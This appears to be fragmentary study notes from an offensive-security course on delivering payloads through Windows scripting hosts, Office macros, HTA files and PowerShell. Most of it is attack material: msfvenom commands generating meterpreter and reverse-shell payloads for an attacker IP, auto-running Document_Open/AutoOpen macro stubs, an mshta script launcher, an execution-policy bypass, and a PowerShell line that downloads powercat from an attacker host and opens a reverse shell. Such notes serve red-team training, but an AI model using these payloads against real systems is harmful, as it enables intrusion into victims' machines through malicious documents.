cscript file.exe
, command line scriptswscript file.exe
, UI scripts
Example (watch out for the whitespace after path, it has to be included)
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\cmd.exe " & WScript.ScriptFullName),0,True
c:\Windows\System32>wscript /e:VBScript c:\Users\user\Documents\shell.txt
view
--> macros
, give a name and select document in Macros in
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f vba
Workbook_Open()
for excel, Document_Open()
for Word macrosSub Document_Open()
SHELL
End Sub
Sub AutoOpen()
SHELL
End Sub
Sub SHELL()
<reverse shell goes here>
End Sub
mshta
is used to excecute<html>
<body>
<script>
var shell= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(shell);
</script>
</body>
</html>
Word 97-2003 Template
and Word 97-2003 Document
msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f hta-psh -o shell.hta
msfconsole
viause exploit/windows/misc/hta_server
Get-ExecutionPolicy
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
powershell -ex bypass -File shell.ps1
C:\Users\thm\Desktop> powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<attacker-IP>:8000/powercat.ps1');powercat -c <attacker-IP> -p 4448 -e cmd"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP> LPORT=4447 -f psh -o payload.ps1
Social_engineering